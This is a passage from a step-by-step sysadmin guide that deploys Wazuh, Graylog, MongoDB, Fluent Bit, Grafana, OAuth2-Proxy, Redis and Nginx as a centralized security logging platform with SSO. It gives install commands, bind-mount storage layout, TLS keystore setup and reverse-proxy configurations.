<em>wazuh-alerts-*</em> index patterns. This is a cosmetic warning that does not affect functionality — it can be safely ignored.</blockquote><blockquote><strong><em>Expected scenario:</em></strong> Filebeat cannot send data to the indexer, and alerts will not appear in the Wazuh dashboard.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/676/1*dpEcqSAQaH46kFkbqa7VoQ.jpeg"><figcaption>warning</figcaption></figure><h3>Adjusting the Dashboard for Nginx</h3><p>The Wazuh Dashboard will listen on 127.0.0.1:8080 instead of the default port, since Nginx will act as a reverse proxy with TLS on port 443.</p><pre># /etc/wazuh-dashboard/opensearch_dashboards.yml<br><br>server.host: 127.0.0.1<br>server.port: 8080</pre><p><strong>Credentials and backup<br></strong>After installation, Wazuh generates a wazuh-install-files.tar file containing certificates, the root CA, and passwords. It's critical to extract and back it up immediately.</p><pre>tar -xvf wazuh-install-files.tar</pre><p>The wazuh-passwords.txt file inside contains all automatically generated passwords. Protecting it is mandatory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*469jrtAPhs6EMetM.png"></figure><h3>MongoDB: Graylog’s DB</h3><p><strong><em>Part 3</em></strong></p><p>MongoDB is the database Graylog uses to store its internal configuration: streams, alerts, dashboards, users, and metadata. It does not store the logs themselves — that’s handled by OpenSearch/ElasticSearch — but it’s an essential component for Graylog to function.</p><p><strong>An important warning before installing</strong></p><p>MongoDB version 8.0 has <strong>kernel incompatibilities with Ubuntu 26.04</strong>. The stable, tested version for this implementation is <strong>7.0</strong>. This is one of those cases where the latest version is not the best choice.</p><h3>Installation</h3><p>Add the official MongoDB 7.0 repository and install.</p><pre>curl -fsSL https://pgp.mongodb.com/server-7.0.asc | gpg -o /usr/share/keyrings/mongodb-server-7.0.gpg --dearmor<br>echo "deb [signed-by=/usr/share/keyrings/mongodb-server-7.0.gpg] https://repo.mongodb.org/apt/ubuntu jammy/mongodb-org/7.0 multiverse" | tee /etc/apt/sources.list.d/mongodb-org-7.0.list<br>apt update<br>apt install mongodb-org -y</pre><h3>Configuration</h3><p>We apply the same pattern as with Wazuh: move data to the /data volume and logs to the /log volume, using bind mounts to keep the original paths intact.</p><pre># Create directory structure<br><br>mkdir -p /data/mongodb/lib /log/mongodb</pre><pre># Assign permissions to the service user<br><br>chown mongodb:mongodb /data/mongodb/lib /log/mongodb</pre><pre># Bind mount<br><br>echo "/data/mongodb/lib /var/lib/mongodb none defaults,bind,nofail 0 0" &gt;&gt; /etc/fstab<br>echo "/log/mongodb /var/log/mongodb none defaults,bind,nofail 0 0" &gt;&gt; /etc/fstab<br>systemctl daemon-reload<br>mount -a</pre><p><strong>Why does this pattern repeat?</strong></p><p>We apply the same storage strategy to every component in the stack. The reason is simple: in a production environment, data must survive an OS reinstallation. If the OS lives on / (60 GB) and data on /data (150 GB), I can reinstall Ubuntu without losing any application data.</p><p>The /log volume (20 GB) is independent because logs have a different lifecycle — they rotate, compress, and get deleted — and we don't want their growth to affect either the OS or application data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*MbvwpOS6jWqHHZiX.png"></figure><h3>Graylog: Centralized Log Management with TLS Integration to Wazuh Indexer</h3><p><strong><em>Part 4</em></strong></p><p>Graylog is the heart of log management in this platform. It receives security events from Fluent Bit, indexes them in OpenSearch (through Wazuh Indexer), enables real-time searches, and exposes an API that we later connect to Claude via MCP.</p><h3>Installation</h3><p>Graylog requires Java as a dependency. We install Java 17 and then the Graylog 7.1 server.</p><pre>apt install openjdk-17-jre-headless -y<br>wget https://packages.graylog2.org/repo/packages/graylog-7.1-repository_latest.deb<br>dpkg -i graylog-7.1-repository_latest.deb<br>apt-get update<br>apt install graylog-server -y</pre><h3>Configuration</h3><pre># Create directory structure<br><br>mkdir -p /data/graylog/lib/journal /data/graylog/jks /var/lib/graylog-server/journal /log/graylog</pre><pre># Assign permissions to the service user<br><br>chown -R graylog:graylog /data/graylog/lib /var/lib/graylog-server/journal /log/graylog</pre><pre># Bind mount<br><br>echo "/data/graylog/lib/journal /var/lib/graylog-server/journal none defaults,bind,nofail 0 0" &gt;&gt; /etc/fstab<br>echo "/log/graylog /var/log/graylog-server none defaults,bind,nofail 0 0" &gt;&gt; /etc/fstab<br>systemctl daemon-reload<br>mount -a</pre><p><strong>Credential configuration</strong></p><p>Graylog requires two key values in its main configuration file.</p><pre># password_secret - internal encryption key (64 characters)<br><br>cat /dev/urandom | tr -dc "a-zA-Z0-9" | fold -w 64 | head -n 1</pre><pre># root_password_sha2 - SHA256 hash of the administrator password<br><br>echo -n '&lt;password&gt;' | shasum -a 256 | cut -d' ' -f1</pre><pre># /etc/graylog/server/server.conf<br><br>password_secret = &lt;password_secret&gt;<br>root_password_sha2 = &lt;root_password&gt;</pre><p><strong>Integration with Wazuh Indexer<br></strong>This is one of the most important steps and the one most frequently omitted in generic guides. Graylog needs to connect to Wazuh Indexer (OpenSearch) over HTTPS, which requires it to trust Wazuh’s CA certificate.</p><p>The solution is to incorporate Wazuh’s CA into a <strong>Java Key Store (JKS)</strong> that Graylog can use.</p><pre># Copy the base Java keystore<br><br>cp /usr/share/graylog-server/jvm/lib/security/cacerts /data/graylog/jks/graylog.jks<br>cd /data/graylog/jks<br><br># Import the Wazuh CA certificate<br># When keytool asks "Trust this certificate? [no]:", answer: y<br># Set a custom or random password<br><br>keytool -importcert -keystore graylog.jks -storepass &lt;password&gt; -alias wazuh-ca -file /etc/wazuh-indexer/certs/root-ca.pem</pre><p>Then configure Graylog to use this keystore at startup.</p><pre># /etc/default/graylog-server - Enter the password defined in the previous step<br><br>GRAYLOG_SERVER_JAVA_OPTS="-Djavax.net.ssl.trustStore=/data/graylog/jks/graylog.jks -Djavax.net.ssl.trustStorePassword=&lt;password&gt;"</pre><pre># Assign permissions to the service user<br><br>chown -R graylog:graylog /data/graylog/jks</pre><p><strong>Why not just disable TLS verification?</strong></p><p>It’s a common temptation to use ssl_verify=false to skip this entire process. The problem is that in production this eliminates a real security layer: any server could present itself as Wazuh Indexer and Graylog would accept it without question. The JKS procedure takes ten extra minutes and guarantees secure communication between components.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*YX5kBfyd9o1QNtX5.png"></figure><h3>Fluent Bit: The Bridge Between Wazuh and Graylog</h3><p><strong><em>Part 5</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*whGladAjwDiDE2Ic5UvWlA.jpeg"></figure><p>Fluent Bit is the component that connects Wazuh with Graylog. Its function is simple but critical: read the JSON alerts file that Wazuh generates in real time and forward each event to Graylog over TCP. It’s lightweight, efficient, and consumes minimal resources even under high event load.</p><p><strong>Why Fluent Bit instead of Filebeat?</strong></p><p>Wazuh installs Filebeat by default to export data to ElasticSearch. Filebeat can be configured to send to Graylog (at the same time, Graylog’s data source is Wazuh), but Fluent Bit is significantly lighter, has better support for complex pipelines, and consumes less memory.</p><p>The decision is clear: we disable Filebeat (covered in the Wazuh article) and install Fluent Bit.</p><h3>Installation</h3><p>Ubuntu 26.04 (Resolute Raccoon) doesn’t yet have official Fluent Bit packages. The solution is to use the <strong>Noble</strong> (Ubuntu 24.04) packages, which are compatible.</p><pre>sh -c 'curl https://packages.fluentbit.io/fluentbit.key | gpg --dearmor &gt; /usr/share/keyrings/fluentbit-keyring.gpg'<br>echo "deb [signed-by=/usr/share/keyrings/fluentbit-keyring.gpg] https://packages.fluentbit.io/ubuntu/noble noble main" | tee /etc/apt/sources.list.d/fluent-bit.list<br>apt update<br>apt install fluent-bit -y</pre><h3>Configuration</h3><pre># Create directory structure<br><br>mkdir -p /log/fluent-bit /var/log/fluent-bit</pre><pre># Bind mount<br><br>echo "/log/fluent-bit /var/log/fluent-bit none defaults,bind,nofail 0 0" &gt;&gt; /etc/fstab<br>systemctl daemon-reload<br>mount -a</pre><p><strong>The main configuration file</strong></p><p>This is the core of Fluent Bit. It defines three sections: the global service, the data input (INPUT), and the output (OUTPUT).</p><blockquote><strong><em>Pay attention when copying:</em></strong><em> </em>The Fluent Bit configuration file is sensitive to indentation. Incorrect indentation will prevent the service from starting<em>.</em></blockquote><pre># /etc/fluent-bit/fluent-bit.conf<br><br>[SERVICE]<br>  flush 5<br>  daemon Off<br>  log_level info<br>  log_file /log/fluent-bit/td-agent-bit.log<br>  parsers_file parsers.conf<br>  plugins_file plugins.conf<br>  http_server Off<br>  storage.metrics on<br>  storage.path /tmp/storage<br>  storage.sync normal<br>  storage.checksum off<br>  storage.backlog.mem_limit 5M<br>[INPUT]<br>  name tail<br>  path /var/ossec/logs/alerts/alerts.json<br>  tag wazuh<br>  parser json<br>  Buffer_Max_Size 5MB<br>  Buffer_Chunk_Size 400k<br>  storage.type filesystem<br>  Mem_Buf_Limit 512MB<br>[OUTPUT]<br>  Name tcp<br>  Host localhost<br>  Port 5555<br>  net.keepalive off<br>  Match wazuh<br>  Format json_lines<br>  json_date_key true</pre><p><strong>How the pipeline works</strong></p><ol><li><strong>INPUT </strong><strong>tail</strong> — Reads the /var/ossec/logs/alerts/alerts.json file continuously, similar to tail -f. Every time Wazuh writes a new alert, Fluent Bit detects it.</li><li><strong>Tag </strong><strong>wazuh</strong> — Labels each event so the OUTPUT knows what to process.</li><li><strong>OUTPUT </strong><strong>tcp</strong> — Sends each event to port 5555 on localhost in JSON format, where Graylog will listen with a Raw HTTP input.</li></ol><p>The on-disk buffer storage.type filesystem ensures no events are lost if Graylog is momentarily unreachable. Events accumulate and are resent once the connection is re-established.</p><blockquote><em>Optional: </em>REST API — Monitor Fluent Bit data pipelines.<br><em>https://docs.fluentbit.io/manual/administration/monitoring</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*cbEm4ozA1npayvjy.png"></figure><h3>Grafana: Real-Time Operational Dashboards</h3><p><strong><em>Part 6</em></strong></p><p>Grafana is the visualization layer of the platform. It connects to Wazuh as a datasource and allows building operational dashboards that show in real time the state of the infrastructure: Wazuh alerts, log volume, access patterns, and any metric Graylog or Wazuh can provide.</p><p>In terms of base installation and configuration, Grafana is the simplest component in the stack. The complexity comes later when we integrate SSO authentication.</p><h3>Installation</h3><pre>wget -O /etc/apt/keyrings/grafana.asc https://apt.grafana.com/gpg-full.key<br>echo "deb [signed-by=/etc/apt/keyrings/grafana.asc] https://apt.grafana.com stable main" | tee -a /etc/apt/sources.list.d/grafana.list<br>apt update<br>apt install grafana -y</pre><h3>Configuration</h3><pre># Create directory structure<br><br>mkdir -p /data/grafana/lib /log/grafana</pre><pre># Assign permissions to the service user<br><br>chown grafana:grafana /data/grafana/lib /log/grafana</pre><pre># Bind mount<br><br>echo "/data/grafana/lib /var/lib/grafana none defaults,bind,nofail 0 0" &gt;&gt; /etc/fstab<br>echo "/log/grafana /var/log/grafana none defaults,bind,nofail 0 0" &gt;&gt; /etc/fstab<br>systemctl daemon-reload<br>mount -a</pre><p>The specific security dashboards — visualizing Wazuh alerts, Graylog logs, and service metrics — depend on the datasources we’ll configure once the entire platform is operational.</p><p><strong>A note on the visualization architecture:</strong></p><p>In many similar implementations, Wazuh already includes its own dashboard based on OpenSearch Dashboards (Kibana). So why add Grafana?</p><p>The reason is <strong>datasource flexibility</strong>. The Wazuh Dashboard can only visualize data from Wazuh Indexer. Grafana can simultaneously connect to Wazuh, Prometheus, InfluxDB, SQL databases, and dozens of other sources. A single dashboard can show Wazuh alerts alongside infrastructure metrics, application logs, and any other data source — all in real time, with its own alerting system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*MNHDU6UurKLbz20v.png"></figure><h3>OAuth2-Proxy: Single Sign-On with IdP</h3><p><strong><em>Part 7</em></strong></p><p>OAuth2-Proxy is the component that eliminates the need to manage users and passwords in Wazuh, Graylog, and Grafana separately. Instead, it delegates all authentication to IdP. The user logs in once with their corporate account and accesses all three systems without entering credentials again.</p><p>This article covers the installation of OAuth2-Proxy and its base configuration. The integration with each application is completed in the <a href="https://infosecwriteups.com/open-source-security-platform-for-it-infrastructure-centralizing-threat-detection-logs-and-sso-c08d1b412f37#938b">Authentication article</a>.</p><p><strong>How the flow works:</strong></p><p>When a user accesses <a href="https://wazuh.domain.com/">https://site.domain.com</a></p><ol><li>Nginx receives the request and asks OAuth2-Proxy if the user is authenticated auth_request /oauth2/auth</li><li>If there’s no active session, OAuth2-Proxy redirects the user to IdP portal.</li><li>The user authenticates with their corporate account.</li><li>IdP returns an ID Token to OAuth2-Proxy.</li><li>OAuth2-Proxy validates the token and creates a session stored in Redis.</li><li>Nginx propagates the user’s identity in an HTTP header.</li><li>Each application receives the header and assigns permissions accordingly.</li></ol><blockquote><strong><em>OAuth2 Proxy uses several layers to confirm a token’s validity</em></strong></blockquote><blockquote><em>Signature Verification:</em> The proxy checks that the token’s cryptographic signature was created by the trusted Identity Provider. It typically retrieves public keys automatically from the IdP JWKS (JSON Web Key Set) endpoint, which is discovered via the OpenID Connect well-known configuration URL.</blockquote><blockquote><em>Claim Validation</em>: Once the signature is verified, it inspects specific fields (claims) within the token:</blockquote><blockquote><em>iss (Issuer): </em>Must match the configured provider URL.</blockquote><blockquote><em>aud (Audience)</em>: Must contain the <em>client_id</em> of the OAuth2 Proxy instance to ensure the token was intended for this specific application.</blockquote><blockquote><em>exp (Expiration)</em>: Ensures the token has not expired.</blockquote><p>The result: a single sign-on for the entire platform, with persistent sessions stored in Redis.</p><h3>Installation</h3><pre>wget https://github.com/oauth2-proxy/oauth2-proxy/releases/download/v7.15.2/oauth2-proxy-v7.15.2.linux-amd64.tar.gz<br>tar -xzvf oauth2-proxy-v7.15.2.linux-amd64.tar.gz<br>chown root:root oauth2-proxy-v7.15.2.linux-amd64/oauth2-proxy<br>mv oauth2-proxy-v7.15.2.linux-amd64/oauth2-proxy /usr/sbin/</pre><h3>Configuration</h3><pre># Create directory structure<br><br>mkdir -p /etc/oauth2-proxy /log/oauth2-proxy</pre><pre># Create service user<br><br>useradd -d /dev/null oauth2-proxy -s /usr/sbin/nologin</pre><pre># Create files<br><br>touch /etc/systemd/system/oauth2-proxy.service<br>touch /etc/oauth2-proxy/service.cfg</pre><pre># Assign permissions to the service user<br><br>chown oauth2-proxy:oauth2-proxy /log/oauth2-proxy</pre><pre># Generate the cookie secret (32 random characters)<br><br>cat /dev/urandom | tr -dc "a-zA-Z0-9" | fold -w 32 | head -n 1</pre><p><strong>Configuration file:</strong></p><blockquote>Case with IdP Microsoft Entra ID.</blockquote><blockquote>Enable debugs on errors.</blockquote><pre># /etc/oauth2-proxy/service.cfg<br><br>client_id = "&lt;app_id&gt;"<br>client_secret = "&lt;app_secret&gt;"<br>oidc_issuer_url = "https://login.microsoftonline.com/&lt;tenant_id&gt;/v2.0"<br>cookie_secret = "&lt;cookie_secret&gt;"<br>cookie_domains = "&lt;domain.com&gt;"<br>email_domains = "&lt;domain.com&gt;"<br>whitelist_domains = "*.&lt;domain.com&gt;"<br>cookie_expire = "24h"<br>cookie_httponly = true<br>cookie_refresh = "50m"<br>cookie_secure = true<br>logging_filename = "/log/oauth2-proxy/oauth2.log"<br>logging_max_size = 100<br>logging_max_age = 5<br>provider = "oidc"<br>provider_display_name = "OIDC"<br>redis_connection_url = "redis://127.0.0.1:6379"<br>scope = "openid offline_access"<br>session_store_type = "redis"<br>set_xauthrequest = true<br>silence_ping_logging = true<br>skip_provider_button = true<br>upstreams = [ "file:///dev/null" ]<br>#show_debug_on_error = true</pre><blockquote>More details: <a href="https://oauth2-proxy.github.io/oauth2-proxy/configuration/overview"><em>https://oauth2-proxy.github.io/oauth2-proxy/configuration/overview</em></a></blockquote><p><strong>Registering in Microsoft Entra ID</strong></p><blockquote><em>⚠</em><strong><em> Important</em></strong><em>: </em>The Authorization Code Flow is the primary method to authenticate users, an industry-standard. Both tokens — Access and ID — are not enabled for implicit or hybrid flows.</blockquote><blockquote>The variety of flows often leads to confusion. With Auth Code Flow and <em>openid</em> scope, we will always obtain an Identification Token👍</blockquote><p>For OAuth2-Proxy to work, you need to register an application in the Azure portal:</p><ol><li><strong>Azure Portal</strong> → Entra ID → App registrations → New registration</li><li>Application name, account type, and redirect URI: <a href="https://domain.com/oauth2/callback">https://system.&lt;domain.com&gt;/oauth2/callback</a></li><li>Obtain the <strong>Application Client ID</strong> and <strong>Tenant ID</strong>.</li><li>Create a <strong>Client Secret</strong> under “Certificates &amp; Secrets”</li><li>In “API permissions”, add openid and offline_access</li></ol><p>These values are used in client_id, client_secret, and oidc_issuer_url in the configuration file.</p><p><strong>Create service</strong></p><pre># /etc/systemd/system/oauth2-proxy.service<br><br>[Unit]<br>Description=OAuth2 Proxy Daemon<br>After=network.target<br>[Service]<br>User=oauth2-proxy<br>Group=oauth2-proxy<br>Type=simple<br>ExecStart=/usr/sbin/oauth2-proxy --config=/etc/oauth2-proxy/service.cfg<br>Restart=always<br>RestartSec=10<br>ProtectSystem=full<br>NoNewPrivileges=true<br>[Install]<br>WantedBy=multi-user.target</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*XMImQw4ixJ6WN3lV.png"></figure><h3>Redis: Session Persistence and Storage</h3><p><strong><em>Part 8</em></strong></p><p>Redis solves a real problem: OAuth2-Proxy session cookies can grow large (cookie bloat) and exceed size limits. Storing sessions in Redis instead of in the cookie keeps the size controlled and allows sessions to survive proxy restarts.</p><h3>Installation</h3><pre>apt install redis-server -y</pre><h3>Configuration</h3><pre># Create directory structure<br><br>mkdir -p /data/redis/lib /log/redis</pre><pre># Assign permissions to the service user<br><br>chown redis:redis /data/redis/lib /log/redis</pre><pre># Bind mount<br><br>echo "/data/redis/lib /var/lib/redis none defaults,bind,nofail 0 0" &gt;&gt; /etc/fstab<br>echo "/log/redis /var/log/redis none defaults,bind,nofail 0 0" &gt;&gt; /etc/fstab<br>systemctl daemon-reload<br>mount -a</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*469jrtAPhs6EMetM.png"></figure><h3>Nginx: Reverse Proxy with TLS and Header-Based Authentication</h3><p><strong><em>Part 9</em></strong></p><p>Nginx is the entry point to the entire platform. It acts as a reverse proxy with TLS, routes traffic to Wazuh, Graylog, MCP, and Grafana, and coordinates with OAuth2-Proxy (except with MCP) to validate user identity on every request.</p><h3>Installation</h3><pre>apt install nginx -y</pre><h3>Configuration</h3><pre># Create directory structure<br><br>mkdir -p /log/nginx /etc/nginx/TLS</pre><pre># Create files<br><br>touch /etc/nginx/sites-available/{wazuh,graylog,graylog-mcp,grafana}<br>touch /etc/nginx/snippets/{security-headers.conf,oauth2-proxy.conf}<br>touch /etc/nginx/TLS/{certificate.crt,private.key}</pre><pre># Delete default host<br><br>rm /etc/nginx/sites-enabled/default</pre><pre># Bind mount<br><br>echo "/log/nginx /var/log/nginx none defaults,bind,nofail 0 0" &gt;&gt; /etc/fstab<br>systemctl daemon-reload<br>mount -a</pre><p><strong>Main configuration: nginx.conf</strong></p><p>The <strong>most notable </strong>aspect of this configuration is the map block: it extracts the username from the email returned by OIDC, taking everything before the @. This allows receive the username instead of the full email address.</p><blockquote>To avoid excessive logging, the access log is set to off.</blockquote><pre># /etc/nginx/nginx.conf<br><br>user www-data;<br>worker_processes auto;<br>worker_cpu_affinity auto;<br>pid /run/nginx.pid;<br>include /etc/nginx/modules-enabled/*.conf;<br>                                     <br>events {<br><br>  worker_connections 1024;<br><br>}<br><br>http {<br><br>  map $upstream_http_x_auth_request_email $http_x_auth_user {<br>    "~^(?&lt;user&gt;[^@]+)@" $user;<br>  }<br><br>  include mime.types;<br>  default_type application/octet-stream;<br>  sendfile on;<br>  tcp_nopush on;<br>  tcp_nodelay on;<br>  keepalive_timeout 65;<br>  keepalive_requests 1000;<br>  types_hash_max_size 2048;<br>  server_tokens off;<br>  gzip on;<br>  gzip_vary on;<br>  gzip_min_length 256;<br>  gzip_proxied any;<br>  gzip_comp_level 6;<br>  gzip_buffers 16 8k;<br>  gzip_http_version 1.1;<br>  gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;<br>  ssl_protocols TLSv1.2 TLSv1.3;<br>  ssl_prefer_server_ciphers on;<br>  ssl_ciphers 'EECDH+AESGCM:EDH+AESGCM:AES256+EECDH:AES256+EDH:!aNULL:!MD5:!3DES:!CBC:!SHA1';<br>  ssl_session_cache shared:SSL:10m;<br>  ssl_session_timeout 15m;<br>  access_log /var/log/nginx/access.log combined buffer=512k flush=1m;<br>  error_log /var/log/nginx/error.log;<br>  include /etc/nginx/conf.d/*.conf;<br>  include /etc/nginx/sites-enabled/*;<br><br>}</pre><p><strong>Security Headers snippet</strong></p><p>Best practices that strengthen your website’s security against common attacks.</p><pre># /etc/nginx/snippets/security-headers.conf<br><br>add_header Strict-Transport-Security "max-age=31536000; includeSubDomains";<br>add_header X-Frame-Options "SAMEORIGIN";<br>add_header X-XSS-Protection "1; mode=block";<br>add_header X-Content-Type-Options nosniff;<br>add_header X-Download-Options "noopen";<br>add_header Permissions-Policy 'geolocation=(), microphone=(), camera=()';<br>add_header Referrer-Policy 'no-referrer';<br>add_header Content-Security-Policy 'upgrade-insecure-requests';</pre><p><strong>OAuth2-Proxy snippet</strong></p><p>This snippet is included in every virtual host that requires authentication. It defines two locations: one for the OAuth2 flow and one internal for validating sessions.</p><pre># /etc/nginx/snippets/oauth2-proxy.conf<br><br>location /oauth2/ {<br>  proxy_pass http://localhost:4180;<br>  proxy_set_header Host $host;<br>  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;<br>  proxy_set_header Content-Length "";<br>  proxy_pass_request_body off;<br>  access_log off;<br>}<br><br>location = /oauth2/auth {<br>  internal;<br>  proxy_pass http://localhost:4180;<br>  proxy_set_header Host $host;<br>  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;<br>  proxy_set_header Content-Length "";<br>  proxy_pass_request_body off;<br>}</pre><blockquote>The <em>Content-Length: ""</em> headers and <em>proxy_pass_request_body off</em> are critical. Without them, authentication requests to internal APIs fail. This configuration has been validated in production.</blockquote><p><strong>Virtual hosts: one per application</strong></p><p>Each application has its own configuration file. The pattern is consistent:</p><ul><li>Redirect HTTP to HTTPS (301).</li><li>TLS with Wildcard certificate.</li><li>Include security headers and OAuth2-Proxy snippet.</li><li>Proxy pass to each application’s local port.</li></ul><p><strong>Wazuh Host</strong></p><blockquote><em>⚠</em><strong><em> </em></strong>Firstly, proxy authentication in Wazuh does not require creating internal users.</blockquote><blockquote><em>⚠ </em>This configuration is intended for administration; therefore, it has the <em>"admin"</em> backend role hardcoded.</blockquote><blockquote><em>proxy_set_header x-proxy-roles "admin"</em></blockquote><blockquote>You can associate Security Groups or Nginx mappings with custom backend roles. See the <strong><em>Custom Backend Role</em>s </strong>references later in the authentication section.</blockquote><pre># /etc/nginx/sites-available/wazuh<br><br>server {<br>  listen 80;<br>  server_name wazuh.&lt;domain.com&gt;;<br>  access_log off;<br>  log_not_found off;<br>  return 301 https://wazuh.&lt;domain.com&gt;$request_uri;<br>}<br><br>server {<br>  listen 443 ssl;<br>  server_name wazuh.&lt;domain.com&gt;;<br>  ssl_certificate /etc/nginx/TLS/certificate.crt;<br>  ssl_certificate_key /etc/nginx/TLS/private.key;<br>  include /etc/nginx/snippets/security-headers.conf;<br>  include /etc/nginx/snippets/oauth2-proxy.conf;<br>  location / {<br>   #auth_request /oauth2/auth;<br>   error_page 401 = /oauth2/start;<br>   auth_request_set $user $http_x_auth_user;<br>   proxy_set_header x-proxy-user $user;<br>   proxy_set_header x-proxy-roles "admin";<br>   proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;<br>   proxy_set_header X-Real-IP $remote_addr;<br>   proxy_http_version 1.1;<br>   proxy_read_timeout 10s;<br>   proxy_set_header Upgrade $http_upgrade;<br>   proxy_set_header Connection 'upgrade';<br>   proxy_set_header Host $host;<br>   proxy_cache_bypass $http_upgrade;<br>   proxy_set_header X-Forwarded-Proto $scheme;<br>   proxy_pass https://localhost:8080;<br>   access_log off;<br>   log_not_found off;<br>  }<br>}</pre><p><strong>Graylog Host</strong></p><pre># /etc/nginx/sites-available/graylog<br><br>server {<br>  listen 80;<br>  server_name graylog.&lt;domain.com&gt;;<br>  access_log off;<br>  log_not_found off;<br>  return 301 https://graylog.&lt;domain.com&gt;$request_uri;<br>}<br><br>server {<br>  listen 443 ssl;<br>  server_name graylog.&lt;domain.com&gt;;<br>  ssl_certificate /etc/nginx/TLS/certificate.crt;<br>  ssl_certificate_key /etc/nginx/TLS/private.key;<br>  include /etc/nginx/snippets/security-headers.conf;<br>  include /etc/nginx/snippets/oauth2-proxy.conf;<br>  location / {<br>   #auth_request /oauth2/auth;<br>   error_page 401 = /oauth2/start;<br>   auth_request_set $user $http_x_auth_user;<br>   proxy_set_header x-proxy-user $user;<br>   proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;<br>   proxy_set_header X-Real-IP $remote_addr;<br>   proxy_http_version 1.1;<br>   proxy_read_timeout 10s;<br>   proxy_set_header Upgrade $http_upgrade;<br>   proxy_set_header Connection 'upgrade';<br>   proxy_set_header Host $host;<br>   proxy_cache_bypass $http_upgrade;<br>   proxy_set_header X-Forwarded-Proto $scheme;<br>   proxy_pass http://localhost:9000;<br>   proxy_set_header X-Graylog-Server-URL https://$server_name;<br>   access_log off;<br>   log_not_found off;<br>  }<br>}</pre><p><strong>Graylog MCP Host</strong></p><pre># /etc/nginx/sites-available/graylog-mcp<br><br>server {<br>  listen 443 ssl;<br>  server_name graylog-mcp.&lt;domain.com&gt;;<br>  ssl_certificate /etc/nginx/TLS/certificate.crt;<br>  ssl_certificate_key /etc/nginx/TLS/private.key;<br>  include /etc/nginx/snippets/security-headers.conf;<br>  location  / {<br>   proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;<br>   proxy_set_header X-Real-IP $remote_addr;<br>   proxy_http_version 1.1;<br>   proxy_read_timeout 10s;<br>   proxy_set_header Upgrade $http_upgrade;<br>   proxy_set_header Connection 'upgrade';<br>   proxy_set_header Host $host;<br>   proxy_cache_bypass $http_upgrade;<br>   proxy_set_header X-Forwarded-Proto $scheme;<br>   proxy_pass http://localhost:9000/api/;<br>   access_log off;<br>   log_not_found off;<br>  }<br>}</pre><p><strong>Grafana Host</strong></p><pre># /etc/nginx/sites-available/grafana<br><br>server {<br>  listen 80;<br>  server_name grafana.&lt;domain.com&gt;;<br>  access_log off;<br>  log_not_found off;<br>  return 301 https://grafana.&lt;domain.com&gt;$request_uri;<br> }<br><br>server {<br>  listen 443 ssl;<br>  server_name grafana.&lt;domain.com&gt;;<br>  ssl_certificate         /etc/nginx/TLS/certificate.crt;<br>  ssl_certificate_key     /etc/nginx/TLS/private.key;<br>  include /etc/nginx/snippets/security-headers.conf;<br>  include /etc/nginx/snippets/oauth2-proxy.conf;<br>  location  / {<br>   #auth_request /oauth2/auth;<br>   error_page 401 = /oauth2/start;<br>   auth_request_set $user $http_x_auth_user;<br>   proxy_set_header x-proxy-user $user;<br>   proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;<br>   proxy_set_header X-Real-IP $remote_addr;<br>   proxy_http_version 1.1;<br>   proxy_read_timeout 10s;<br>   proxy_set_header Upgrade $http_upgrade;<br>   proxy_set_header Connection 'upgrade';<br>   proxy_set_header Host $host;<br>   proxy_cache_bypass $http_upgrade;<br>   proxy_set_header X-Forwarded-Proto $scheme;<br>   proxy_pass http://localhost:3000;<br>   access_log off;<br>   log_not_found off;<br>  }<br>}</pre><p>The auth_request is intentionally commented during initial configuration — it's enabled in the Authentication article, once all roles and users are configured in each application.</p><p><strong>graylog-mcp</strong>: a special virtual host without OAuth2 so Claude can access the Graylog MCP Bridge directly with Basic authentication. Covered in the Graylog MCP article.</p><pre># Create links<br><br>cd /etc/nginx/sites-enabled<br>ln -s ../sites-available/wazuh<br>ln -s ../sites-available/graylog<br>ln -s ../sites-available/graylog-mcp<br>ln -s ../sites-available/grafana</pre><p><strong>Configure certificates</strong></p><p><strong>/etc/nginx/TLS/certificate.crt</strong> — Site and intermediate certificates.<br><strong>/etc/nginx/TLS/private.key</strong> — Private key.</p><p><strong>TLS and verification</strong></p><pre># Certificate with restrictive permissions<br><br>chmod 400 /etc/nginx/TLS/*</pre><pre># Verify configuration before starting<br><br>nginx -t</pre><p>Expected response:</p><pre>nginx: the configuration file /etc/nginx/nginx.conf syntax is ok<br>nginx: configuration file /etc/nginx/nginx.conf test is successful</pre><pre># Restart<br><br>systemctl restart nginx</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*BLX_WJBjJLfvTMg2.png"></figure><h3>Troubleshooting Guide</h3><h3>Log Paths and Common Issues in a Complex Security Stack</h3><p><strong><em>Part 10</em></strong></p><p>When something fails in a stack of this complexity — and something always does — knowing exactly where to look for information is the difference between resolving the problem in five minutes or an hour. This article documents the log paths for all components and the most common problems encountered during implementation.</p><p><strong>Real-time log monitoring</strong></p><p>To monitor any service in real time.</p><pre># Filtered error warn<br>journalctl -u &lt;service&gt; | grep -i -E "error|warn"<br><br># Limit the number of the last events shown<br>journalctl -u &lt;service&gt; -n &lt;number&gt;<br><br># Show only the most recent journal entries, and continuously print new entries<br>journalctl -fu &lt;service&gt;<br><br># Jump to the end and augment log lines with explanation texts from the message catalog<br>journalctl -xeu &lt;service&gt;</pre><p>Where &lt;service&gt; can be any of the following:</p><ul><li>wazuh-dashboard</li><li>wazuh-indexer</li><li>wazuh-manager</li><li>graylog-server</li><li>mongod</li><li>grafana-server</li><li>oauth2-proxy</li><li>fluent-bit</li><li>nginx</li><li>redis-server</li></ul><p><strong>Log file paths<br></strong>For direct access to log files:</p><pre>tail -f &lt;path&gt;</pre><ul><li>Wazuh-Indexer /log/wazuh-indexer/wazuh-cluster.log</li><li>Graylog /log/graylog/server.log</li><li>MongoDB /log/mongodb/mongod.log</li><li>Grafana 